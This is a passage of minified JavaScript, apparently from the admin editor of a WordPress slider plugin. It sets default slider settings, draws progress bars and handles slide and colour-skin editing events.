RVS.C.pbar.addClass("deactivated")}function j(e){var t=RVS.SLIDER.settings.general.progressbar,i=RVS.C.pbars.getContext("2d"),a=parseInt(t.radius),r=parseInt(t.radius),s="cw"!==t.style?294:64;i.lineCap="round",i.clearRect(0,0,2*t.radius,2*t.radius),i.beginPath(),i.arc(a,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*630),i.strokeStyle=void 0!==e&&void 0!==e.bgcolor?e.bgcolor:t.bgcolor,i.lineWidth=parseInt(t.size,0)-1,i.stroke(),i.beginPath(),i.strokeStyle=void 0!==e&&void 0!==e.color?e.color:t.color,i.lineWidth=parseInt(t.size,0),i.arc(a,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*(270+s),"cw"!==t.style),i.stroke()}function E(e,t,i){switch(e){case"progressgapcolor":"horizontal"!==RVS.SLIDER.settings.general.progressbar.style&&"vertical"!==RVS.SLIDER.settings.general.progressbar.style||tpGS.gsap.set(RVS.C.pbgaps,{bakgroundColor:t});break;case"sliderprogresscolor":"horizontal"===RVS.SLIDER.settings.general.progressbar.style||"vertical"===RVS.SLIDER.settings.general.progressbar.style?tpGS.gsap.set(RVS.C.pbars,{background:t}):j({color:t});break;case"sliderprogresscolorbg":"horizontal"===RVS.SLIDER.settings.general.progressbar.style||"vertical"===RVS.SLIDER.settings.general.progressbar.style?tpGS.gsap.set(RVS.C.pbar,{background:t}):j({bgcolor:t});break;case"sliderbgcolor":i?C():tpGS.gsap.set(RVS.C.UL,{background:t});break;case"sliderTabBgColor":RVS.F.bgUpdate("tabs",t);break;case"sliderThumbBgColor":RVS.F.bgUpdate("thumbs",t);break;case"module_spinner_color":L(t)}}function M(e,t,i,a,r,s){var o=!1;if(void 0!==t?window.lastColorEditjObj=jQuery(t):(void 0!==window.lastColorEditjObj&&(i=window.RSColor.get(window.lastColorEditjObj.val())),o=!0),void 0!==i&&(1==window.lastColorEditjObj[0].dataset.navcolor?RVS.F.drawNavigation({type:window.lastColorEditjObj[0].dataset.evtparam,color:i,attribute:window.lastColorEditjObj[0].name}):E(window.lastColorEditjObj[0].name,i,o),s&&!0!==o))for(var n in s.ref)if("slider"===s.ref[n].type&&E(s.ref[n].inpname,i,o),"navstyle"===s.ref[n].type&&RVS.F.drawNavigation({type:s.ref[n].evtparam,color:i,attribute:s.ref[n].inpname}),("slider"===s.ref[n].type||"navstyle"===s.ref[n].type)&&r){RVS.F.updateSliderObj({path:s.ref[n].r,val:i});var l=jQuery("input[name="+s.ref[n].inpname+"]");l.length>0&&(l[0].value=i,l.rsColorPicker("refresh"))}}function P(e){var t={};return t.addOns=jQuery.extend(!0,{},e.addOns)||{},t.version=RVS.ENV.revision,t.alias=z(e.alias,""),t.pakps=z(e.pakps,!1),t.shortcode=z(e.shortcode,""),t.type=z(e.type,"standard"),t.layouttype=z(e.layouttype,"fullwidth"),t.sourcetype=z(e.sourcetype,"gallery"),t.title=z(e.title,"New Slider"),t.googleFont=z(e.googleFont,[]),t.id=z(e.id,""),t.class=z(e.class,""),t.wrapperclass=z(e.wrapperclass,""),t.snap=z(e.snap,{adjust:"none",snap:!1,helpLines:!1,gap:20}),t.source=z(e.source,{gallery:{},post:{excerptLimit:55,maxPosts:30,fetchType:"cat_tag",category:"",sortBy:"ID",types:"post",list:"",sortDirection:"DESC",subType:"post"},woo:{excerptLimit:55,maxProducts:30,featuredOnly:!1,inStockOnly:!1,category:"",sortBy:"ID",types:"product",sortDirection:"DESC",regPriceFrom:"",regPriceTo:"",salePriceFrom:"",salePriceTo:""},instagram:{count:8,hashTag:"",transient:1200,type:"user",userId:"",token_source:"account",connect_with:""},facebook:{album:"",appId:"",appSecret:"",count:8,transient:1200,typeSource:"timeline",token_source:"account",connect_with:"",page_id:""},flickr:{apiKey:"",count:8,galleryURL:"",groupURL:"",photoSet:"",transient:1200,type:"publicphotos",userURL:""},twitter:{accessSecret:"",accessToken:"",consumerKey:"",consumerSecret:"",count:8,excludeReplies:!1,imageOnly:!1,includeRetweets:!1,transient:1200,userId:""},vimeo:{albumId:"",channelName:"",count:8,transient:1200,groupName:"",typeSource:"user",userName:""},youtube:{api:"",channelId:"",count:8,playList:"",transient:1200,typeSource:"channel"}}),void 0!==t.source.facebook&&delete t.source.facebook.pageURL,void 0!==t.source&&void 0!==t.source.post&&-1==(""+t.source.post.excerptLimit).indexOf("chars")&&(""+t.source.post.excerptLimit).indexOf("char")>=0&&(t.source.post.excerptLimit=t.source.post.excerptLimit.replace("char","words")),void 0!==t.source&&void 0!==t.source.woo&&-1==(""+t.source.woo.excerptLimit).indexOf("chars")&&(""+t.source.woo.excerptLimit).indexOf("char")>=0&&(t.source.woo.excerptLimit=t.source.woo.excerptLimit.replace("char","words")),"youtube"===t.sourcetype&&(""===t.source.youtube.count&&(t.source.youtube.count=8),""===t.source.youtube.channelId&&(t.source.youtube.channelId="UCpVm7bg6pXKo1Pr6k5kxG9A")),"vimeo"===t.sourcetype&&""===t.source.vimeo.count&&(t.source.vimeo.count=8),"twitter"===t.sourcetype&&""===t.source.twitter.count&&(t.source.twitter.count=8),"flickr"===t.sourcetype&&""===t.source.flickr.count&&(t.source.flickr.count=8),"facebook"===t.sourcetype&&""===t.source.facebook.count&&(t.source.facebook.count=8),t.def=z(e.def,{intelligentInherit:!0,autoResponsive:!0,responsiveChilds:!0,responsiveOffset:!0,transition:"fade",transitionDuration:300,delay:9e3,background:{fit:"cover",fitX:100,fitY:100,position:"center center",positionX:0,positionY:0,repeat:"no-repeat"},panZoom:{set:!1,blurStart:0,blurEnd:0,duration:1e4,ease:"none",fitEnd:100,fitStart:100,xEnd:0,yEnd:0,xStart:0,yStart:0,rotateStart:0,rotateEnd:0}}),t.def.intelligentInherit=void 0===t.def.intelligentInherit||t.def.intelligentInherit,t.def.autoResponsive=void 0===t.def.autoResponsive||t.def.autoResponsive,t.def.responsiveChilds=void 0===t.def.responsiveChilds||t.def.responsiveChilds,t.def.responsiveOffset=void 0===t.def.responsiveOffset||t.def.responsiveOffset,t.size=z(e.size,{enableUpscaling:!1,respectAspectRatio:!1,disableForceFullWidth:!1,custom:{d:!0,n:!1,t:!1,m:!1},minHeightFullScreen:"",minHeight:"",maxWidth:0,maxHeight:0,fullScreenOffsetContainer:"",fullScreenOffset:"",width:{d:1240,n:1024,t:778,m:480},height:{d:900,n:768,t:960,m:720},editorCache:{d:0,n:0,t:0,m:0},overflow:!1,useFullScreenHeight:!0,overflowHidden:!1,gridEQModule:!1,forceOverflow:!1,keepBPHeight:!1,ignoreHeightChanges:!0}),t.size.editorCache=void 0===t.size.editorCache?{d:0,n:0,t:0,m:0}:t.size.editorCache,t.size.editorCache.d=0===t.size.editorCache.d?t.size.height.d:t.size.editorCache.d,t.size.editorCache.n=0===t.size.editorCache.n?t.size.height.n:t.size.editorCache.n,t.size.editorCache.t=0===t.size.editorCache.t?t.size.height.t:t.size.editorCache.t,t.size.editorCache.m=0===t.size.editorCache.m?t.size.height.m:t.size.editorCache.m,t.codes=z(e.codes,{css:"",javascript:""}),t.carousel=z(e.carousel,{justify:!1,justifyMaxWidth:!1,snap:!0,borderRadius:0,borderRadiusUnit:"px",ease:"power3.inOut",fadeOut:!0,scale:!1,offsetScale:!1,horizontal:"center",vertical:"center",infinity:!1,maxItems:3,maxRotation:0,maxOpacity:100,paddingTop:0,paddingBottom:0,rotation:!1,scaleDown:50,space:0,speed:800,stretch:!1,varyFade:!1,varyRotate:!1,varyScale:!1,showAllLayers:"false"}),t.carousel.showAllLayers="true"===t.carousel.showAllLayers||!0===t.carousel.showAllLayers?"all":t.carousel.showAllLayers,t.hero=z(e.hero,{activeSlide:-1}),t.layout=z(e.layout,{bg:{color:"transparent",padding:0,dottedOverlay:"none",dottedOverlaySize:1,dottedColorA:"transparent",dottedColorB:"#000000",shadow:0,useImage:!1,image:"",imageSourceType:"full",fit:"cover",position:"center center",repeat:"no-repeat"},spinner:{color:"#ffffff",type:"off"},position:{marginTop:0,marginBottom:0,marginLeft:0,marginRight:0,align:"center",fixedOnTop:!1,addClear:!1}}),void 0!==t&&void 0!==t.layout&&void 0!==t.layout.bg&&(t.layout.bg.dottedOverlay.indexOf("white")>0&&(t.layout.bg.dottedColorB="rgba(255,255,255,255)"),t.layout.bg.dottedOverlay.indexOf("twoxtwo")>=0?t.layout.bg.dottedOverlay="1":t.layout.bg.dottedOverlay.indexOf("threexthree")>=0&&(t.layout.bg.dottedOverlay="2")),t.visibility=z(e.visibility,{hideSelectedLayersUnderLimit:0,hideAllLayersUnderLimit:0,hideSliderUnderLimit:0}),t.general=z(e.general,{slideshow:{slideShow:!0,stopOnHover:!1,stopSlider:!1,stopAfterLoops:0,stopAtSlide:1,shuffle:!1,loopSingle:!1,viewPort:!1,viewPortStart:"wait",viewPortArea:RVS.F.cToResp({default:"200px"}),presetSliderHeight:!1,initDelay:0,waitForInit:!1},progressbar:{set:!1,alignby:"slider",style:"horizontal",size:"5px",radius:10,vertical:"bottom",horizontal:"left",x:0,y:0,color:"rgba(255,255,255,0.5)",bgcolor:"transparent",basedon:"slide",gapsize:0,gap:!1,gapcolor:"rgba(255,255,255,0.5)",reset:"reset",visibility:{d:!0,m:!0,n:!0,t:!0}},firstSlide:{set:!1,duration:300,slotAmount:7,type:"fade",alternativeFirstSlideSet:!1,alternativeFirstSlide:1},icache:"default",DPR:"dpr",observeWrap:!1,layerSelection:!1,lazyLoad:"none",nextSlideOnFocus:!1,disableFocusListener:!1,enableurlhash:!1,disableOnMobile:!1,autoPlayVideoOnMobile:!0,disablePanZoomMobile:!1,useWPML:!1,perspective:600,perspectiveType:"global"}),void 0!==t.general.progressbar&&(void 0!==t.general.progressbar.height&&(t.general.progressbar.size=t.general.progressbar.height,delete t.general.progressbar.height),void 0!==t.general.progressbar.position&&(t.general.progressbar.vertical=t.general.progressbar.position,delete t.general.progressbar.position)),void 0===t.general.perspectiveType&&(t.general.perspectiveType="local"),void 0===t.general.perspective&&(t.general.perspective=600),"object"!=typeof t.general.slideshow.viewPortArea&&(t.general.slideshow.viewPortArea=RVS.F.cToResp({default:t.general.slideshow.viewPortArea})),void 0!==e&&void 0!==e.nav&&void 0!==e.nav.swipe&&(e.nav.swipe.setMobileCarousel=void 0===e.nav.swipe.setMobileCarousel||e.nav.swipe.setMobileCarousel,e.nav.swipe.setDesktopCarousel=void 0===e.nav.swipe.setDesktopCarousel||e.nav.swipe.setDesktopCarousel),t.nav=z(e.nav,{preview:{width:50,height:100},swipe:{set:!1,setOnDesktop:!1,setMobileCarousel:!0,setDesktopCarousel:!0,blockDragVertical:!1,direction:"horizontal",minTouch:1,velocity:75},keyboard:{direction:"horizontal",set:!1},mouse:{set:"off",reverse:"default",viewport:50,calldelay:1e3},arrows:{set:!1,rtl:!1,animSpeed:"1000ms",animDelay:"1000ms",style:"1000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,left:{anim:"fade",horizontal:"left",vertical:"center",offsetX:30,offsetY:0,align:"slider"},right:{anim:"fade",horizontal:"right",vertical:"center",offsetX:30,offsetY:0,align:"slider"}},thumbs:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"2000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,spanWrapper:!1,horizontal:"center",vertical:"bottom",amount:5,direction:"horizontal",height:50,width:100,widthMin:100,innerOuter:"inner",offsetX:0,offsetY:20,space:5,align:"slider",padding:5,wrapperColor:"transparent",mhoffset:0,mvoffset:0},tabs:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"4000",preset:"default",presets:{},alwaysOn:!0,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778,spanWrapper:!1,horizontal:"center",vertical:"bottom",amount:5,direction:"horizontal",height:50,width:100,widthMin:100,innerOuter:"inner",offsetX:0,offsetY:20,space:5,align:"slider",padding:5,wrapperColor:"transparent",mhoffset:0,mvoffset:0},bullets:{anim:"fade",animSpeed:"1000ms",animDelay:"1000ms",set:!1,rtl:!1,style:"3000",preset:"default",presets:{},alwaysOn:!0,horizontal:"center",vertical:"bottom",direction:"horizontal",offsetX:0,offsetY:20,align:"slider",space:5,hideDelay:200,hideDelayMobile:1200,hideOver:!1,hideOverLimit:0,hideUnder:!1,hideUnderLimit:778}}),void 0!==t.nav&&(void 0===t.nav.arrows||""!=t.nav.arrows.style&&null!=t.nav.arrows.style||(t.nav.arrows.style="1000"),void 0===t.nav.thumbs||""!=t.nav.thumbs.style&&null!=t.nav.thumbs.style||(t.nav.thumbs.style="2000"),void 0===t.nav.bullets||""!=t.nav.bullets.style&&null!=t.nav.bullets.style||(t.nav.bullets.style="3000"),void 0===t.nav.tabs||""!=t.nav.tabs.style&&null!=t.nav.tabs.style||(t.nav.tabs.style="4000")),t.troubleshooting=z(e.troubleshooting,{alternateImageType:"off",alternateURL:"",jsNoConflict:!1,jsInBody:!1,outPutFilter:"none",simplify_ie8_ios4:!1}),t.parallax=z(e.parallax,{set:!1,setDDD:!1,disableOnMobile:!1,levels:[5,10,15,20,25,30,35,40,45,46,47,48,49,50,51,30],ddd:{BGFreeze:!1,layerOverflow:!1,overflow:!1,shadow:!1,zCorrection:65},mouse:{speed:0,bgSpeed:0,layersSpeed:0,origo:"slidercenter",type:"scroll"}}),t.modal=z(e.modal,{bodyclass:"",horizontal:"center",vertical:"middle",cover:!0,coverColor:"rgba(0,0,0,0.5)",coverSpeed:1e3}),void 0!==t.modal&&(t.modal.coverSpeed=t.modal.coverSpeed<10?1e3*t.modal.coverSpeed:t.modal.coverSpeed),t.scrolleffects=z(e.scrolleffects,{set:!1,setBlur:!1,setFade:!1,setGrayScale:!1,bg:!1,direction:"both",layers:!1,maxBlur:10,multiplicator:"1.3",multiplicatorLayers:"1.3",disableOnMobile:!1,parallaxLayers:!1,staticLayers:!1,staticParallaxLayers:!1,tilt:30}),t.scrolltimeline=z(e.scrolltimeline,{set:!1,fixed:!1,fixedStart:2e3,fixedEnd:4e3,layers:!1,ease:"none",speed:500}),t.skins=z(e.skins,{colorsAtStart:!1}),t.source.post.fetchType=void 0===t.source.post.fetchType?"cat_tag":t.source.post.fetchType,t.source.instagram.hashTag=void 0===t.source.instagram.hashTag?"":t.source.instagram.hashTag,t.source.instagram.transient=void 0===t.source.instagram.transient?1200:t.source.instagram.transient,t.source.instagram.type=void 0===t.source.instagram.type?"":t.source.instagram.type,t.source.flickr.transient=void 0===t.source.flickr.transient?1200:t.source.flickr.transient,t.source.vimeo.transient=void 0===t.source.vimeo.transient?1200:t.source.vimeo.transient,t.source.youtube.transient=void 0===t.source.youtube.transient?1200:t.source.youtube.transient,t.def.transition=void 0===t.def.transition?"fade":t.def.transition,t.def.background.imageSourceType=void 0===t.def.background.imageSourceType?"full":t.def.background.imageSourceType,t.def.panZoom.blurStart=void 0===t.def.panZoom.blurStart?0:t.def.panZoom.blurStart,t.def.panZoom.blurEnd=void 0===t.def.panZoom.blurEnd?0:t.def.panZoom.blurEnd,t.size.maxWidth=void 0===t.size.maxWidth?"":t.size.maxWidth,t.carousel.ease=void 0===t.carousel.ease?"power3.inOut":t.carousel.ease,t.carousel.speed=void 0===t.carousel.speed?"800":t.carousel.speed,void 0!==t.general.firstSlide&&(t.general.firstSlide.alternativeFirstSlideSet=void 0===t.general.firstSlide.alternativeFirstSlideSet?"":t.general.firstSlide.alternativeFirstSlideSet),t.nav.preview&&(t.nav.preview.width=void 0===t.nav.preview.width?50:t.nav.preview.width),t.nav.preview&&(t.nav.preview.height=void 0===t.nav.preview.height?100:t.nav.preview.height),t.nav.mouse&&(t.nav.mouse.reverse=void 0===t.nav.mouse.reverse?"default":t.nav.mouse.reverse),t.nav.arrows.left&&(t.nav.arrows.left.align=void 0===t.nav.arrows.left.align?"slider":t.nav.arrows.left.align),t.nav.arrows.right&&(t.nav.arrows.right.align=void 0===t.nav.arrows.right.align?"slider":t.nav.arrows.right.align),t.nav.bullets&&(t.nav.bullets.align=void 0===t.nav.bullets.align?"slider":t.nav.bullets.align),t.parallax.ddd.zCorrection=void 0===t.parallax.ddd.zCorrection?65:t.parallax.ddd.zCorrection,t.parallax.mouse.bgSpeed=void 0===t.parallax.mouse.bgSpeed?0:t.parallax.mouse.bgSpeed,t.parallax.mouse.layersSpeed=void 0===t.parallax.mouse.layersSpeed?1e3:t.parallax.mouse.layersSpeed,t.scrolleffects.bg=void 0!==t.scrolleffects.bg&&t.scrolleffects.bg,t.scrolleffects.direction=void 0===t.scrolleffects.direction?"both":t.scrolleffects.direction,t.scrolleffects.maxBlur=void 0===t.scrolleffects.maxBlur?10:t.scrolleffects.maxBlur,t.scrolleffects.multiplicator=void 0===t.scrolleffects.multiplicator?"1.3":t.scrolleffects.multiplicator,t.scrolleffects.multiplicatorLayers=void 0===t.scrolleffects.multiplicatorLayers?"1.3":t.scrolleffects.multiplicatorLayers,t.scrolleffects.tilt=void 0===t.scrolleffects.tilt?"":t.scrolleffects.tilt,t}function z(e,t){return null==e?t:e}RVS.S.rulerOffset={x:0,y:0},RVS.F.setSlider=function(e){return e=void 0===e||0==e.length?{}:e,"undefined"!=typeof _rmig_&&(e=_rmig_.migrateSlider(e)),jQuery.extend(!0,P({}),P(e))},RVS.F.initSliderBuilder=function(){for(var S in RVS.C.rb=jQuery("#rev_builder"),RVS.C.tRC=document.getElementById("the_right_toolbar"),RVS.C.UL=_ul=jQuery("#rev_slider_ul"),e=jQuery("#layer_grid"),t=jQuery("#rev_slider_inbuild"),i=jQuery("#ruler_top_offset"),a=jQuery("#ruler_left_offset"),r=jQuery("#ruler_hor_marker"),s=jQuery("#ruler_ver_marker"),o=jQuery("#rev_builder_inner"),RVS.F.updateEasyInputs({container:jQuery("#rs-layout-type"),trigger:"init"}),function(){if(RVS.ENV.skinColors=void 0===RVS.ENV.skinColors?jQuery("#module_color_skins"):RVS.ENV.skinColors,RVS.ENV.skinFonts=void 0===RVS.ENV.skinFonts?jQuery("#module_font_skins"):RVS.ENV.skinFonts,void 0!==RVS.SLIDER.settings.skins)for(var e in void 0===RVS.SLIDER.settings.skins.colors&&(RVS.SLIDER.settings.skins.cid=2,RVS.SLIDER.settings.skins.colors={0:{alias:"Highlight",v:"#ff0000"},1:{alias:"Headline Text",v:"#ffffff"},2:{alias:"Content Text",v:"#00ffff"}}),RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(e)){var t=RVS.SLIDER.settings.skins.colors[e];f(t,e)}}(),jQuery("#screenselector").on("change",function(e){RVS.screen=this.value,RVS.S.nextscreen="d"===RVS.screen?"none":"n"===RVS.screen?"d":"t"===RVS.screen?"n":"m"==RVS.screen?"t":"none",RVS.S.prevscreen="d"===RVS.screen?"n":"n"===RVS.screen?"t":"t"===RVS.screen?"m":"none",jQuery(".screen_selector.selected").removeClass("selected"),jQuery(".screen_selector.ss_"+RVS.screen).addClass("selected"),D(!1),RVS.DOC.trigger("sliderSizeChanged"),RVS.F.setRulers()}),RVS.DOC.on("click","#newslide, #add_blank_slide",function(){return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"addnewslide",step:"Add New Slide",icon:"fiber_new",slideObj:{slide:RVS.F.addSlideObj(),layers:{}},slideObjOld:{},beforeSelected:RVS.S.slideId,after:function(){RVS.DOC.trigger("changeToSlideMode")}}),!1}),RVS.DOC.on("addBulkSlides",function(e,t){return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"addnewslide",step:"Add New Slide",icon:"fiber_new",slideObj:{slide:RVS.F.addSlideObj(),layers:{}},slideObjOld:{},beforeSelected:RVS.S.slideId,urls:t.urlImage,endOfMain:function(){RVS.DOC.trigger("changeToSlideMode"),setTimeout(function(){RVS.DOC.trigger("saveslider",{force:!0})},500)}}),!1}),RVS.DOC.on("click","#add_template_slide",function(){RVS.F.openObjectLibrary({types:["moduletemplates","modules"],filter:"all",selected:["moduletemplates"],context:"editor",success:{slide:"addSlideFromTemplate"}})}),RVS.DOC.on("click","#add_module_slide",function(){RVS.F.openObjectLibrary({types:["modules","moduletemplates"],filter:"all",selected:["modules"],context:"editor",success:{slide:"addSlideFromTemplate"}})}),RVS.DOC.on("addSlideFromTemplate",function(e,t){RVS.F.ajaxRequest("install_template_slide",{slider_id:RVS.ENV.sliderID,slide_id:t},function(e){if(e.success){for(var t in e.slides)if(e.slides.hasOwnProperty(t)){var i={slide:RVS.F.addSlideObj(RVS.F.expandSlide(e.slides[t].params)),layers:{},id:e.slides[t].id};for(var a in e.slides[t].layers)if(e.slides[t].layers.hasOwnProperty(a)){var r=e.slides[t].layers[a],s=RVS.F.addLayerObj(jQuery.extend(!0,RVS.F.addLayerObj(r.type,void 0,!0),r));s&&(i.layers[s.uid]=s)}RVS.SLIDER[e.slides[t].id]=i,RVS.SLIDER.slideIDs.push(e.slides[t].id),RVS.F.addToSlideList({id:e.slides[t].id})}RVS.F.mainMode({mode:"slidelayout",set:!0,slide:e.slides[0].id})}})}),RVS.DOC.on("updatepublishicons",function(e,t){void 0!==t&&void 0!==t.val&&(document.getElementById("publish_toggle_icon_"+RVS.S.slideId).className=t.val+"slide")}),RVS.DOC.on("click",".publishedslide, .unpublishedslide",function(){var e=jQuery(this).closest("li").data("ref");return RVS.SLIDER[e].slide.publish.state="published"===RVS.SLIDER[e].slide.publish.state?"unpublished":"published",this.className=RVS.SLIDER[e].slide.publish.state+"slide",RVS.F.updateEasyInputs({container:jQuery("#form_slidegeneral_progstate"),path:e+".slide.",trigger:"init"}),RVS.F.slideinWork(e),!1}),RVS.DOC.on("deletesingleslide",function(){RVS.F.addRemoveSlideWithBackup({id:"deleteslide",step:"Remove Slide",icon:"remove",slideObjOld:jQuery.extend(!0,{},RVS.SLIDER[window.delete_slide_id]),slideId:window.delete_slide_id,slideObj:{},beforeSelected:RVS.S.slideId})}),RVS.DOC.on("click",".deleteslide, #do_delete_slide",function(){return window.delete_slide_id="do_delete_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref"),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslide,maintext:RVS_LANG.deletingslide,subtext:RVS_LANG.deleteselectedslide+" <strong>"+RVS.SLIDER[window.delete_slide_id].slide.title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdeleteslide,event:"deletesingleslide"},cancel:{icon:"cancel",text:RVS_LANG.cancel}}),!1}),RVS.DOC.on("click",".duplicateslide, #do_duplicate_slide",function(){var e="do_duplicate_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref");return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"duplicateslide",step:"Duplicate Existing Slide",icon:"content_copy",slideObj:jQuery.extend(!0,{},RVS.SLIDER[e]),fromSlideId:e,slideObjOld:{},beforeSelected:RVS.S.slideId}),!1}),RVS.DOC.on("click",".addchildslide, #do_addchild_slide",function(){var e="do_addchild_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref");return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"duplicateslide",parentId:e,step:"Duplicate Existing Slide",icon:"content_copy",slideObj:jQuery.extend(!0,{},RVS.SLIDER[e]),fromSlideId:e,slideObjOld:{},beforeSelected:RVS.S.slideId}),!1}),function(){RVS.DOC.on("click","#add_skin_color",function(){void 0!==RVS.SLIDER.settings.skins&&(RVS.SLIDER.settings.skins.colors.length>10||(RVS.SLIDER.settings.skins.cid++,RVS.SLIDER.settings.skins.colors[RVS.SLIDER.settings.skins.cid]={alias:"Color Alias",v:"#ffffff"},f(RVS.SLIDER.settings.skins.colors[RVS.SLIDER.settings.skins.cid],RVS.SLIDER.settings.skins.cid),RVS.F.updateEasyInputs({container:RVS.ENV.skinColors,trigger:"init",visualUpdate:!0})))});var e=!1;RVS.DOC.on("click",".save_and_goto_button",function(){e=this.dataset.goto,RVS.DOC.trigger("saveslider")}),RVS.DOC.on("slidersaved",function(){!1!==e&&(window.location.href=e)}),RVS.DOC.on("deleteSkinColor",function(e,t){void 0!==t&&(RVS.S.skinColorToDelete=t,void 0!==RVS.SLIDER.settings.skins.colors[t].ref&&RVS.SLIDER.settings.skins.colors[t].ref.length>0?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteskin,maintext:RVS_LANG.areyousuredeleteskin,subtext:RVS_LANG.colrskinhas+" "+RVS.SLIDER.settings.skins.colors[t].ref.length+" "+RVS_LANG.references+". "+RVS_LANG.colorwillkept,do:{icon:"check_circle",text:RVS_LANG.deleteskin,event:"forcedeleteskincolor"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}):RVS.DOC.trigger("forcedeleteskincolor"))}),RVS.DOC.on("forcedeleteskincolor",function(){delete RVS.SLIDER.settings.skins.colors[RVS.S.skinColorToDelete],jQuery("#globalskin_colorrule_"+RVS.S.skinColorToDelete).remove()}),RVS.DOC.on("updateSnapVisual",function(){RVS.F.snapVisual()}),RVS.DOC.on("showhidescrollonssm",function(e,t){jQuery(".sr_sbased_tab").hide(),jQuery("#sr_sbased_"+t).show(),RVS.F.checkForFixedScroll()}),RVS.DOC.on("updateAutoRotate",function(e,t){if(void 0===t||void 0===t.val)RVS.SLIDER.settings.general.slideshow.slideShow||jQuery("#generalslideshow").hide();else{RVS.F.openBackupGroup({id:"autorotate",txt:"Auto Slideshow",icon:"play_circle_outline"});var i="settings.general.slideshow.";t.val?RVS.F.updateSliderObj({path:i+"stopSlider",val:!1}):(RVS.F.updateSliderObj({path:i+"stopSlider",val:!0}),RVS.F.updateSliderObj({path:i+"stopAfterLoops",val:0}),RVS.F.updateSliderObj({path:i+"stopAtSlide",val:1})),RVS.F.closeBackupGroup({id:"autorotate"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_slideshow"),trigger:"init",visualUpdate:!0})}}),RVS.DOC.on("screenSelectorChanged",function(){RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_general_viewport"),init:"true"})}),RVS.DOC.on("checkOnScrollSettings",function(){void 0!==RVS.TL&&void 0!==RVS.TL.TL&&(RVS.SLIDER.settings.scrolltimeline.set&&RVS.SLIDER.settings.scrolltimeline.fixed&&"auto"!==RVS.SLIDER.settings.layouttype?RVS.TL.TL.addClass("fixedscrollon"):RVS.TL.TL.removeClass("fixedscrollon"),RVS.DOC.trigger("checkLayerLoopswithOnScroll"))}),RVS.DOC.on("checkLayerLoopswithOnScroll",function(){clearTimeout(RVS.S.checkLayerLoopswithOnScroll),RVS.S.checkLayerLoopswithOnScroll=setTimeout(function(){if(!0===RVS.SLIDER.settings.scrolltimeline.set){var e=!1;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].timeline&&void 0!==RVS.L[t].timeline.scrollBased&&("true"==RVS.L[t].timeline.scrollBased||"default"==RVS.L[t].timeline.scrollBased&&!0===RVS.SLIDER.settings.scrolltimeline.layers)&&(RVS.L[t].timeline.loop.use=!1,e=!0);e&&(RVS.F.updateEasyInputs({container:jQuery("#layer_looping_wrap"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.layerloopdisabledduetimeline,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}},200)}),RVS.DOC.on("click",".insertineditor",function(){return RVS.F.insertTextAtCursor(window.rs_jscss_editor,"\n"+jQuery(this.dataset.insertfrom).val().replace("revapi.","revapi"+RVS.ENV.sliderID+".")+"\n"),!1}),RVS.DOC.on("click",".js_css_editor_tabs",function(){jQuery(".js_css_editor_tabs").removeClass("selected"),jQuery(this).addClass("selected"),RVS.SLIDER.settings.codes[window.rs_jscss_editor.getMode().name]=window.rs_jscss_editor.getValue(),window.rs_jscss_editor.setValue(RVS.SLIDER.settings.codes[this.dataset.mode]),window.rs_jscss_editor.setOption("mode",this.dataset.mode)}),RVS.DOC.on("click","#emc_toggle, #form_slidergeneral_advanced_api",function(){jQuery(".emc_toggle_wrap").toggleClass("open")}),RVS.DOC.on("openColorSkinApi",RVS.F.openColorSkinApi),RVS.DOC.on("click","#rbm_colorskins .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("openSliderApi",RVS.F.openSliderApi),RVS.DOC.on("click","#rbm_slider_api .rbm_close",function(){RVS.SLIDER.settings.codes[window.rs_jscss_editor.getMode().name]=window.rs_jscss_editor.getValue(),RVS.F.RSDialog.close()}),RVS.DOC.on("device_area_dimension_update",function(){D(!0,!0),RVS.DOC.trigger("updateAllInheritedSize"),RVS.F.redrawSlideBG(),RVS.F.expandCollapseTimeLine(!0,"open")}),RVS.DOC.on("updatePerspective",function(){jQuery("#global_layers_perspectives").val(RVS.SLIDER.settings.general.perspective),RVS.F.allLayersReDraw()}),RVS.DOC.on("updatesliderlayout_main",function(e,t){RVS.DOC.trigger("checkOnScrollSettings"),RVS.DOC.trigger("updatesliderlayout",[e,t])}),RVS.DOC.on("updatesliderlayout",function(e,t){RVS.F.updatesliderlayout(t)}),RVS.F.updatesliderlayout=function(e){(void 